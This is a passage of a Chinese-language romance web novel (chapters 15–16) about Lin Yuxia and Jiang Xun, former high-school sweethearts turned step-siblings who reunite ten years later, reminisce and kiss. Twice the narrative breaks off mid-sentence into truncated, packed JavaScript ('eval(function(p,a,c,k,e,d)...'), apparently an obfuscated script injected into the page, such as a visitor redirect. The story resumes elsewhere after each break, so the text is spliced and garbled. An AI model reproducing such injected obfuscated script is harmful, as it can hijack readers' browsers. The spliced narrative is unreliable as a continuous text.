那些和他们曾经相识过程有关的一切，他打乱时间线再次与她经历了一遍。在毫不知情的情况下，他想再试一试，像从前初遇时的那样，试着与她重新认识一次。可当他知道了那个秘密和真相以后，他忽然开始思考自己的这个再遇计划是否合理。 他们的关系不适合像从前那样的过程去认识。 他在心里郑重地说了句“抱歉”。 曾经的那些回忆，如同一把利刃，在今年夏天的尾声里，毫不犹豫的杀死了他，将他们的关系，推向了最后的夏天。 他们即将成为家人。 成为有着同一个父母的姐姐和弟弟的关系。 后来。 关于是否再去看《情书》的犹豫，并没有在他的思绪里停留多久。 因为。 他把这场电影，当作了告别。 对过去的告别。 头顶的灯一闪一闪，玻璃窗外已是夜幕。 “你明白吗？”林予夏小声说。 江洵点头：“我明白。” 她看向玻璃窗上自己的影子。 彼时，一滴雨划过了她在玻璃窗上的身影，刚好经过她的脸颊。 “你要出国了，对吗？”早在他们意外在走廊上碰见的那天之前，他就已经知道了她在准备托福和SAT的事情了，因为他曾不小心看见了她的资料清单。看似不经意地提起她在背托福词汇，实际上是他的暗戳戳的试探而已。而那天在走廊上听见她与秦宋的谈话，只是让他确认了一遍林予夏即将去美国读书是个事实了而已。 林予夏点头：“我会提前去香港，日期很快就临近了。刚才我想说的，除了我们都明白的那件事以外，就是这件事情了。” 抱歉，我必须选择离开。 除了想要追逐自己想要的、去到自己想去的地方之外，我暂时只能够想到这个办法让我们分离。 只有我们现在分离一段时间，多年以后，我才有可能能够心安理得的去把你当作是我的弟弟。 “你走吧。”江洵没想那么多，他只是站在一个朋友的角度，去支持她追逐自己的梦想。 他记得，她曾说过，她想去旧金山读书。 “林予夏，在外面照顾好自己。 “去香港的那天，我就不去送你了。 “保重。再会。” 头顶一闪一闪的灯在此刻忽然全部暗了下来，就像那晚他们在家楼下说分手时的那样。 于夜晚中重叠的视线渐渐分开，然后看向了相反的方向。他们不愿离去，不愿走出那些曾经的夏天。可惜没有如果，所有的一切，都变成了时间的怀念。 你就像一阵风经过。 林予夏。 夏天结束了。 15. Ch.15 沉沦 从回忆里抽离的时候，眼前的长岛冰茶已经见底，那部《分手的决心》也放映结束，空气陷入进彻底的安静。 杯子里的冰块还没融化，林予夏将杯子推向了江洵，示意还想再来一杯。 “少喝点。”江洵劝说，不打算继续再为林予夏调下一杯长岛冰茶。 “你喝过Soda Crush吗？”林予夏问。 江洵摇头：“最近刚看到这个酒，打算学一下。”将视线看向操作台，江洵继续说，“金酒、香茅、柠檬、苏打……本来是要在今晚研究的。” “你等着。”林予夏说完就从椅子上站起身来，“你等我一下，我调给你喝。” 江洵笑了一下：“什么时候学的调酒？” 林予夏拿着玻璃杯回头：“不要小看一个在外的留子。” “好。” 江洵无聊地抬起头看向头顶的光线，此刻的心绪很复杂，不知道该如何形容。他知道，这十年，他没有忘记和她有关的一切。 关于自己为什么会在高中时代喜欢上林予夏，在他的心里也早就有了答案。 上小学的时候，班里调皮的男孩子在路上撞见江洵总是独自一个人走回家，便开他的玩笑，说他是没人要的孩子。 后来，时间悄悄而逝，日历翻过一页又一页。某一天夜里，江洵忽然发现自己的母亲宋清寒与父亲江远铭的感情似乎是出现了裂缝。 那天晚上下了一场暴雨，中途醒来的江洵感觉到一阵口渴，便起身去了客厅倒水。路过父母的房间门口时，他听见了里面传来了有意克制音量却无法压制住愤怒的争吵声。 他小心翼翼地喝完水，将水杯带回了房间，赶紧回到了被子里。他希望这仅仅只是一场在雨夜中出现的梦。尽管父母亲因为忙于工作而很少管他，但他还是希望有朝一日这个房子里能够传来一丝有关家的感触的。 这样，或许他就能在别人说他是没人要的小孩时，心里不会缺少那种“我不是没人要的小孩”的底气。 可惜母亲宋清寒和父亲江远铭并没有给足他这种底气。在小江洵的记忆里，没有过多久，宋清寒和江远铭就分居了。而后再过没多久，江洵就撞见了江远铭走在另外一位女人的身旁，动作很是亲密，而且，他从未看见过他父亲笑得这么开心过。 那天回到家之后，宋清寒从怀里拿出了一个小本本放到了江洵的眼前。台灯下的字被照的闪闪发光，他知道，这是一段婚姻结束的象征。母子二人那晚什么都没说，宋清寒只觉得自己在这段失败的婚姻里得到了解脱。 江洵拿着汽水陪宋清寒畅饮，宋清寒默不作声，只是喝完了三瓶葡萄味的真露烧酒。 宋清寒喝酒还算厉害，三瓶烧酒于她而言，只能是微醺的程度。她的思绪很清醒，一把拿过了江洵手里只喝了半罐的汽水：“少喝点汽水，糖分太高了。” “好。” 宋清寒喝完最后一口烧酒，开始絮叨：“小洵，我不要你爸了，你会怪我吗？他早就不爱我了，我知道的。” 那时候的江洵还不完全明白究竟什么是爱，他只是在一些电视剧里看到过一些关于爱的情节。 江洵没有说话，宋清寒继续说：“我们不再是大学里那样的伴侣，直到现在我才发现，我们或许早已经不爱对方。从学校出来之后结婚，好像是我们对青春恋爱那时许下的誓言所怀有的执念……” 那晚宋清寒拉着江洵絮絮叨叨了很多，最后长叹一声，说：“小洵，你要争气。妈妈希望，你以后能拥有自己最想要的人生。在我和江远铭的这段感情里，我最不后悔的，就是成为你的母亲。” 听完宋清寒的这些话，江洵点了点头…… 在那些早已被遗忘在风中的岁月里，江洵悄然成长，他开始能够敏锐地察觉到周围朋友瞬息变化的情绪，他不再纠结自己是否是没人要的小孩，开始渐渐找到了自己想要追寻的事情。 但他不知道的是，他也在那些被遗忘在风中的岁月里逐渐“遗忘”了自己，忽略了自己那些本应该会有的情绪。 他开始变得不爱说话，朋友虽然不算太多，只有那么两三位，但好在都是些和他很合得来的人。在不是他朋友的人的眼里看来，他的身上总是会透露出一副生人勿进的清冷感，像是一座永远不会融化的冰山，有棱有角，温度还冷的让人不敢靠近。 没有人能够看得出他的情绪，没有人能够知道他是否开心。直到后来的后来，这一切发生了改变。 这些他以前从未预料到过会发生的改变，都开始于中考后的那个夏天，他搬到夏至路附近之后，林予夏出现在他生活里的第一秒…… 冰块与玻璃杯碰撞，发出清脆的声音。 站在操作台前，林予夏回忆着自己在旧金山和室友一起学的调酒步骤。 林予夏记得，自己刚到旧金山读书那五年的第一次回国，是因为需要出席林潮声和宋清寒的婚礼。那天，林予夏不可避免的碰见了江洵。见面时，两人什么话都没说，只是在默默地看着各自手中的手机。 那时他们明明分离才将近一年，却已经开始成为了陌生人，疏离了与彼此间的距离。 回旧金山，江洵被林潮声和宋清寒安排送林予夏去机场。一路上，两人依旧什么话都没说，只是都在默默地听着车里的音乐。 去后备箱拿行李，目送她离开，始终没有一句交流。那时，林予夏就下定了决心，自己尽量不要再见到他。 因为，只要她看见他的双眼，看见他的脸，她就会无可避免的想起那些现如今不能够去想起的过去。 他们成为了姐弟，成为了一家人。从前的经历，必须尘封在时间的泥土里，永远不要被发现，永远不要再见天光。 后来，林予夏回来过三四次和林潮声见面，同他聊天叙旧，讲讲过去的事情。她没有去见江洵，只是同宋清寒聊了聊天，吃了几餐饭。 原以为这将会是永远的相处模式，避开与江洵的碰面，仅仅只与长辈们言语，努力装出一副所有的事情从未曾发生过的样子。 但，令所有人都没有想到的是，林予夏的下一次回国，却是因为出席林潮声的葬礼。 林予夏在旧金山的第六年，林潮声因突发事件不幸病危，从旧金山匆匆赶回国内，林予夏最终还是没有见到林潮声的最后一面。 葬礼结束，回家整理林潮声的遗物，林予夏却意外的发现了这些年来林潮声给她写的信。她不敢一个人在深夜里去一行一行地把这些文字翻阅过去，所以，她只是整理好了这些带有他父亲笔迹的信件，将它们放在了书房储物柜的最深处。 除了那些信件，林予夏还得知，林潮声和宋清寒离婚了。她不知道原因，只知道这个结果。她没去问江洵。因为她曾在心中告诫过自己，不要再与他有交流。她那时还很害怕与他有关的回忆的侵袭。 后来的这几年，她再也没有回来过。只是偶尔同宋清寒视频聊天，给宋清寒寄过去一些节日礼物…… 林予夏曾自诩自己是一个理性的人。当年在知道林潮声和宋清寒正在恋爱之后，林予夏就在心中反复告诫着自己，一定要支持父亲的这段感情。看过林潮声那些年的孤身，因此她也明白，林潮声需要一个能够陪他到老的人。 只是这其中让她思绪混乱的是，林潮声的恋爱对象，为什么偏偏是江洵的母亲。 或许，她和他的分开，就是那时候最好的选择。 思绪不再蔓延，两杯“Soda Crush”已经完成，林予夏站在操作台前回头的时候，却发现江洵没有坐在那里了。 她走出操作台想去找他的身影，却忽然在转角处的钢琴那，看见了他。 林予夏记得自己第一次听见江洵在琴房里弹钢琴，并不是那次陪他一起准备学校校庆晚会演奏曲目休息时，他弹奏的那首《有些》的时候，而是在高一刚开学。 那天，她去办公楼送材料，回教室的路上经过艺术楼的时候，恰好听见琴房里传来了钢琴声。 是梁静茹的《情歌》。当时，这首歌是她那时候的单曲循环，林予夏那时候很喜欢听这首歌，上学放学的路上，她都在听这首歌。 于是，她停下了脚步，朝艺术楼里的琴房走了过去。 树叶交织间的罅隙里落下了午后的斜阳，悄悄溜进了米白色的走廊。就这样跟着雀跃在燥热空气中的音符，林予夏靠近了传来那首《情歌》旋律的房间。 “你和我十指紧扣，默写前奏……” 靠近在门边，林予夏默默在心中哼出了歌词。 里面弹这首歌的人，应该是练过很多次了吧，林予夏在心中默默猜测，她悄悄看向琴房门口的小玻璃窗，准备看一眼正在里面弹琴的人。 林予夏在心里已经想好了，如果是位男生，那就当作是自己打扰了，她会立即离开回到教室；如果是位女生，那就把这首《情歌》当作是今天遇见的小惊喜啦，她会听完她的演奏，然后默默小声鼓掌，在不打扰到她的情况下，哼着歌走回教室。 房间里的琴声还未停下，依旧在继续，林予夏看向玻璃小窗户，却忽然感觉心跳像是漏跳了一拍。 她一眼就认出了那是江洵的背影。 大概是因为心里受到了一种意外之感，林予夏忽然踉跄了一下，一个没站稳，原本搭在门把手上平衡自己的手，就那样鬼使神差地按了下去。 紧接着，在音乐的戛然而止中，她闯入进了江洵所在的琴房。 江洵转身看向了她，两人视线交汇，空气在一瞬间里陷入安静。午后的阳光透过玻璃窗户爬上了黑白琴键，恍然间，林予夏像是看见了丁达尔效应所带来的光束形状。 睫毛轻轻颤动，空气里忽然飘来了一阵柠檬的清香，那是江洵衣服上时不时会传来的味道。和江洵开学后成为同桌之后，林予夏总是会闻到这种柠檬清香味，特别是有风经过窗边的时候。 心跳在恍然间错跳一拍，房间里轻飘飘的旋律渐渐消散在光束里，方才还在雀跃的音符随着视线的重叠坠入进了错跳一拍的间隙。 “江洵。”她下意识地呼唤了他的名字，“是你呀。好巧啊。” 错跳一拍的心跳暂时性难以恢复到以往平静时候的频率，为了不让房间里的空气变得尴尬，林予夏在慌乱之中随口说了一句话。 “好巧啊。” 林予夏笑：“我路过这，正好听见了有人在弹《情歌》，所以我就想来听听。” 江洵把手搭在了脖子上，随之笑了笑。 林予夏接话：“你弹的真的很好听。” “谢谢。” …… 这么多年之后的今夜，那首《情歌》再次响起。伴着音符的蔓延缠绕，林予夏将那两杯“Soda Crush”放在了桌上，便走到了江洵的身旁。 就这样过去了四分钟，最后一个音符缓缓落下。 “你还是很喜欢弹这首歌，依旧很好听。”林予夏说。 合上琴盖，江洵背对着林予夏说：“其实高一那年我知道，你一直都在的。所以，我每次都会弹《情歌》。” 心跳忽然感觉到像是漏跳一拍，林予夏转身往“Soda Crush”停留的地方走。 她忽然说：“我饿了。” “伯爵红茶巴斯克吃不吃？店里还有。” “行。” 再争取一点让自己缓冲的时间吧。 林予夏这时候才明白，原来那些年他一直都知道她在琴房外听他弹琴。 巴斯克很快就被江洵拿了过来，装在一个小盒子里。 轻轻打开那个装着伯爵红茶巴斯克的小盒子，一次性卡扣发出“咔嗒”声，盒子被打开的那一秒，林予夏看见了这款红茶巴斯克上竟然放了一块粉色樱花形状的装饰巧克力，她在恍然间想起了自己第一次和江洵一起过生日的时候。 那是在高一的第二个学期，那是他陪她过的第一个生日。那时候，江洵和林予夏还刚在一起不久。 那天，离第三节晚自习下课还有还有十五分钟的时候，江洵忽然给林予夏递了一张小纸条。 “想带你去一个地方^ ^” 看完纸条，林予夏转头看向了同桌江洵同学。 只见江洵朝后门口那偏了偏头，眼睛亮亮的，像是充满了某种期许一般。 林予夏并没有在第一时间里猜出江洵的用意，那时她没有多想什么。她点点头，轻轻说了句好。 课桌底下，江洵偷偷把自己的手放在了他们中间，林予夏的脸上忽然泛起一阵温热。从前没有和他在一起的时候，与他见面，甚至听见他的声音，她就会害羞，心脏会忍不住地加速。而现在在一起了，林予夏还是会有那种感觉，甚至还会更厉害。 也许是在一起没多久还没适应吧。 轻轻在课桌底下牵上江洵的手，温热的感觉，像闪电一般顿时划过了她的心脏。她抬眼看向江洵，偏偏看见的，就是他那令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对男朋友可以不用说谢谢。” 林予夏说了一句绕口令：“不说谢谢的话，那我要怎么表达谢谢呢？” “嗯——”江洵陷入思考。 “男朋友江洵同学，放学别走。”林予夏微微倾身向前一点，“我告诉你怎么说谢谢。” 不算太远的距离，眼前忽然落下一片樱花花瓣。江洵拿出一个信封，放在了林予夏的眼前。 “给你的，另外一个生日礼物。” 林予夏接过信封：“这是？” 江洵不说话，只是单挑了一下自己的左边眉毛。 林予夏欲要拆开这封信，江洵立即伸手阻止，说：“回去看回去看。你要是现在看的话……我会不好意思的。” 说着，江洵的脸也跟着红了几分。虽说是在昏暗的路灯旁，林予夏依旧能捕捉到此刻他脸上忽然出现的红晕。 她知道这是什么了。 到家之后，在昏暗的台灯下拆开那个信封。 和她想的一样，确实是一封情书。 一行行看过他留下的字迹，直到看到最后一行，直到看见落款处他的名字，时间刚刚好，经过了五分二十秒。 她迫不及待地拨通了江洵的电话，手在书桌上轻点慢慢“跳跃”，和心跳渐渐共振同频。 电话很快就被接通，对面的人像是迫不及待一般，一秒钟都等待不了。 “我看完啦。”林予夏说，“和我猜的是一样的！” 电话那头的江洵笑了笑：“生日快乐，女朋友。” 电话那端有些许嘈杂，林予夏问：“你在哪呢？还没回家？” 江洵故意清了清嗓子，“你猜？” 林予夏从书桌前起身，自然而然地走到了窗户边。她背靠在玻璃窗上，继续着和江洵的通话。 “猜不到。” 江洵回答：“那你……往下看。” 听见这句话，林予夏的心里忽然猛地一颤，她立即转身向楼下的方向看过去。 路灯旁，樱花树下，江洵一手拿着手机，笑着仰头看向她家的方向，朝她挥着手。 “我想你了。”林予夏回应，“你在楼下等我。” “等你。” 跑到楼下，与江洵在樱花树下碰面，路灯的昏黄把人点亮，让影子摇摇晃晃。他们拥有着彼此的视线，然后牵起了彼此的手，十指紧扣。 忽然，不知道从哪吹来了一阵风，吹起了两人的校服衣角。 头顶的樱花树轻轻摆动，樱花花瓣接续落下。暖色调的路灯氤氲着潮湿的空气，视线交错间的温度在不经意间上升。 “你知道我要怎么说谢谢吗？”林予夏问。 又一阵风吹过，樱花雨落下。 没等江洵应答，林予夏就靠近了他。 而后是距离太近之后，本能地、下意识地反应。 很凑巧的，一片樱花花瓣刚好掠过他们视线。他们就这样，察觉到了同一片樱花花瓣的味道。 那晚他们沿着那一路的樱花走了很久很久，林予夏说不想同他说再见。 凑近的拥抱，埋在她的肩膀。而她也很自然地闻到了一阵柠檬的清香。 “你知道晚安是什么意思嘛？” “你猜我知不知道。” 而后不说话，再一次沉沦在靠近之中。 “我猜你知道。” “晚安。” …… 不再沦陷在那年与樱花味道的记忆中，林予夏摸了摸自己正在微微发烫的脸颊。不清楚他是否察觉到了她的这阵红晕，只是默默地将头低下了些许，把微热的感觉藏在了此刻的盛夏里。 将眼前的那半杯“Soda Crush”全部喝完，一阵灼热的感觉就在一瞬间里侵袭了林予夏的身体。 光晕中，她向江洵靠近。 落下一吻。 就像那年在樱花树下时一样的忽然。 轻轻松开拽着江洵衣领的手，林予夏看向了他的眼睛，她轻声呼唤了他的名字然后问：“你为什么不躲开？” 这个迟到了这么多年的瞬间终于出现。 他等了整整十年。 江洵屏住了呼吸。 他缓缓回答说：“我知道我还爱着你。” 16.Ch.16 你听 残存的理智被那年樱花树下的“缠绵”给彻底打败，林予夏睫毛轻轻颤动，而后停在了原地，身体像是沉入进了无法动弹的境遇。心情在此刻变得无比的复杂，脑海中混乱不堪，她不知道自己现在该如何是好。 曾经在旧金山，林予夏想过很多次，和江洵再次遇见时会是怎样的一番情景。那时候的她断然不会想到，自己会在这个时候想起樱花树下的那晚，然后再冲动地轻吻了他。 “抱歉。”开口说出的话不是我爱你，而是一句下意识反应带来的歉意，林予夏开始懊悔，自己方才为何会如此的冲动。 也许是酒精的作用。 对于林予夏而言，酒这种东西，她谈不上喜欢和厌恶，不会去特别的偏爱它。她只是觉得自己偶尔喝点酒，让自己坠入进那种所谓的微醺感里，能够去想一些不同于以往的东西。 甚至可以说，她只是想借酒精的名义，来说出一些自己从来都不敢说的思绪，去偷偷地让自己在意识还算清醒的状态下，去发一场有理由的疯。因为只有这样，她才能安慰自己，自己并没有真正的和往常有什么不同的地方，那些关于她的一切都还算正常，所有的这些，只不过是酒精导致的而已。 江洵没有说话，他还在对林予夏方才的突袭做着理解。 她还爱他，对吗？ 关于爱的那条简讯总是容易失联，但又总是会在悄无声息之中出现。这条简讯能够跨越十年的长度，跨越从旧金山到长宜如此遥远的距离。 但此刻的他却不敢确认，害怕这是错误频率接收到的讯息。 甚至他还在怀疑，方才的那个轻轻的吻的出现，是不是因为自己此刻是置身于梦中而并非站立在现实里的。 他梦见过她很多很多次，十年来，不计其数的、一次又一次的在深夜惊醒，然后想要再次睡去，迅速重新坠入进那个因惊醒而终止的梦中。 他在梦中抓不住和她有关的一切，所以才会频频惊醒。 “林予夏。”江洵害怕地呼唤了她的名字，随后继续看向她的双眼，一如十年前视线里仅她可见的那种温柔。 “你能听见我声音，对吗？” “我能听见。”林予夏轻轻点头确认说，“你知道吗……”凌晨四点的旧金山我见过很多很多次，从夏天到冬天，从第一年到第十年，一夜又一夜，一天又一天。 这十年他总是会出现在她的梦里。 忽然停止住声音，她低头躲开了他的视线。 话到嘴边，却不知该用什么样的语气去说出来。于是，她索性就将这剩下的半句话给咽进了身体，藏进了此刻正在泛着涟漪的思绪。 刚到旧金山的时候，她曾克制过自己的情绪，让她不要去想他，那时候他们的身份不同，不允许存在这种以“我爱你”为名的想念。 可是情绪是很难控制的，不是说想要将它从脑海中剔除就能够随便剔除的。 她曾告诫过自己：林予夏，他是你弟弟，是你现在的家人。你的爱，只能是以家人的名义，以姐姐关心弟弟的名义。 她曾催眠自己：林予夏，你已经不爱他，你已经不再喜欢他了。 或许，青春的那种感觉是在一瞬间里结束的，无关那时年龄是在什么数字。 只是后来，所谓的催眠没有起到效果，关于他的念想中开始参杂着些许隐隐约约觉察到的“罪恶”。 她曾在不开灯的房间中，看向玻璃窗外的夜空。旧金山和长宜的时差，他们是否能看见同一颗星星呢？ 她不清楚。 “我知道。” 两人沉默了半晌，江洵缓缓开口，他把她那句戛然而止的半句话，当作了问句。 头顶的灯忽然暗了下来，不知为何，桌上的台灯早已没电熄灭，整个房间开始坠入进夜晚。 他们曾在暗夜中相拥，而后又在暗夜中放开了手，间隔开了距离，向彼此挥手，却又会在后来的每一分每一秒里悄悄回头，站在距离彼此越来越远的地方，凝望着，凝望。 “陪我去走走吧。”林予夏在昏暗的光线中看着江洵的视线，“很久没在这里走走了。” 是很久很久没和你一起在这条路上走了。 我想你了。 “好。” 路过小酒馆不远处的转角就是执礼附中，在那，江洵和林予夏默契地停下了脚步，然后在路灯下对着彼此浅浅一笑，一如十多年前每天晚上的晚自习结束之后，他们一起走回家路过这里时的一样。 走在曾经经常十指紧扣的路灯下，林予夏却不敢和他靠近几分，这时候她还不确定，自己是否能够继续爱他。 至于刚刚的那个kiss…… 想到这，林予夏不禁在心中扶额——冲动是魔鬼。 晃荡在空气中的手一下又一下的在不经意间碰到，每一下，都触及着林予夏的心脏，让她有一种久违的感觉。 “想什么呢？”江洵看向林予夏询问。 “没想什么。” “那你为什么要故意碰我的手。” 听到这，林予夏立即将手向自己在的方向缩回了些许。可惜身上的这件衣服没有口袋，没有地方给她去藏住自己的手。心中有着若隐若现的答案，她心虚地将手放在了身后，然后假装镇定般地回答说：“没有啊。” 原以为江洵下一秒会像古早言情小说里的“霸总”一样，立即把她的手牵住，然后说一句“你是在玩火”。 然而现实不是言情小说，江洵虽是小酒馆和长宜最大的心理咨询工作室的老板，但也没有那种所谓的“霸总”姿态。 他忽然停住了脚步，站在了一盏昏暗的路灯下。 察觉到身边没有人，林予夏下意识地回头。 然后，她听见他说：“林予夏。” “干嘛？”看见此刻站在逆光中的江洵，林予夏好像又看见了那个曾在逆光中静静写题的十七岁时的他。 偷偷将泛上胸腔的思绪吞进身体，林予夏顺势歪头看向江洵，像是在问，你为什么要叫我的名字呀？ “没怎么。”江洵迈开步子往林予夏在的方向走，然后停在了她的面前，解释说，“就是想叫一下你的名字。” 我十年来未曾说出口的名字。 距离十点钟结束的晚自习，已经过去了将近一个小时，但路上穿着执礼附中校服的学生不算太少，路并不空荡。 看样子，当年晚自习后继续留下来自习一会的执礼附中习惯一直延续了十多年。 继续往前走，没走一会，就到了执礼附中的门口。 “林予夏，江洵？”秦宋看见自己的学生很是惊喜。 “秦老师！”林予夏和江洵齐声回应。 很幸运，他们在校门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她忽然停顿，随即指着自己面前的这张桌子说：“巧了，这好像是当年我的桌子。” 听到这句话，江洵抬起头看了一眼林予夏，随后又继续低头数试卷去了：“真的？” “嗯。” 数完了手中的试卷，林予夏将它们整齐了一下，随后看向身后的江洵。 林予夏吐槽：“你不行啊，慢死了。” 江洵回答说：“这叫细致。” 将手中整理好的试卷放在桌上，准备去等江洵数完手中的试卷。随意将手撑在了课桌的边缘，手一不小心碰到了课桌桌面的边沿，她忽然一不小心摸到了一张如同草稿纸一般触感的东西。 迅速收回自己的手，除了那种触感之后，指尖还触碰到了粘贴胶的触感。 这是什么？ 林予夏不解，她没有明白，自己的手为何会碰到那张纸。 不再继续靠着桌面的边沿，林予夏起身看向了方才刚才传来那种触感的地方。 她索性悄悄走上前去，打算一探究竟。 将粘贴在课桌抽屉里的纸取下来，林予夏这时才发现，这张纸好像是当年自己和江洵常用的那款笔记本的纸。 那时，江洵正好数完了手中的试卷。他下意识地转身去寻找林予夏的身影，然后便看见她站在离他不远的地方。 她笑说：“江洵同学。你猜，我发现了什么？”